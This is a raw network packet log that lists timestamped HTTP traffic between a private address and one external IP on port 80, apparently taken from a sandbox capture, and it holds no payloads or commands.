Nov 5, 2024 12:43:36.524115086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524164915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524177074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524188042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524200916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524216890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524239063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524333954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524346113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524357080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524369001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524382114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524414062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524414062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524425983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524480104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524524927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524605036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524617910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524629116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524640083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524651051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524657965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524662971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524673939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524684906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524694920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524707079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524717093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524718046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524728060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524734974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524754047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524772882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524995089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525039911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525079966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525089979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525099039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525110006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525120974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525127888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525132895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525137901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525146008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525166988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525183916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525377989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525388956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525398970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525410891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525422096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525430918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525433064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525444984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525449038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525470972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525480032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525515079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525559902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525667906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525688887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525700092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525706053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525711060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525715113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525717974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525722980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525728941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525734901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525743008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525753021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525764942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525775909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525787115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525791883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525800943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525813103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.525830984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525830984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.525865078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526169062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526180029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526218891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526324987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526336908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526350975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526361942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526366949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526374102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526384115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526390076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526393890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526396036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526402950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526412964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526413918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526426077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526437044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526444912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526448965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526472092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526490927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526648998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526695013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526752949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526765108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526776075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526787043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526794910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526801109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526808977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526817083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526820898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526834011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.526844978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526850939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.526882887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.553682089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553709984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553723097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553771019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.553781986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.553796053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553807974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553818941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553836107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.553860903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.553900957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553911924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.553939104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.553962946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.557743073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557761908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557774067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557786942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557809114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557813883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.557821989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557833910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557846069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557848930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.557868004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.557892084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.557982922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.557995081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558007956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558016062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558038950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558094025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558120966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558131933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558141947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558151960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558165073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558187008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558317900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558329105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558340073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558351040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558358908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558362007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558386087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558404922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558516979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558526993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558536053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558548927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558553934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558558941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558563948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558589935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558608055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558700085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558708906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558720112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558731079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558744907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558756113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558784962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558887005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558906078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558916092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558926105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558932066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558938026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558948994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558953047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.558974981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.558991909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.559003115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.559045076 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.559056997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.559067965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.559093952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.559103966 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.559118032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.559128046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.559159994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.559173107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.603647947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.603684902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.603698969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.603733063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.603748083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.639847040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639863968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639878035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639897108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639905930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639916897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639925957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.639930010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.639954090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.639997959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640021086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640032053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640042067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640052080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640067101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640067101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640089035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640104055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640222073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640233994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640244007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640254974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640266895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640278101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640302896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640507936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640517950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640527964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640537977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640548944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640549898 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640558958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640569925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640575886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640583038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640594006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640595913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640599012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640608072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640610933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640621901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640634060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640639067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640647888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640660048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.640670061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640690088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.640712976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641047955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641058922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641068935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641079903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641091108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641094923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641108990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641125917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641294956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641305923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641315937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641328096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641339064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641343117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641347885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641354084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641366959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641396046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641572952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641582966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641592979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641606092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641613007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641617060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641629934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641639948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641647100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641650915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641661882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641673088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641678095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641700029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641710043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641881943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641892910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641901970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.641925097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.641944885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642033100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642044067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642052889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642062902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642072916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642072916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642085075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642095089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642106056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642106056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642122984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642126083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642126083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642136097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642144918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642153978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642155886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642168045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642178059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642179012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642188072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642190933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642199039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642210007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642215014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642221928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642231941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642231941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642242908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642261028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642280102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642889977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642901897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642913103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642924070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642932892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642940998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642966986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642975092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.642980099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.642992020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643002033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643012047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643022060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.643022060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643033981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643043995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643045902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.643054962 CET	80	49711	188.114.96.3	192.168.2.8
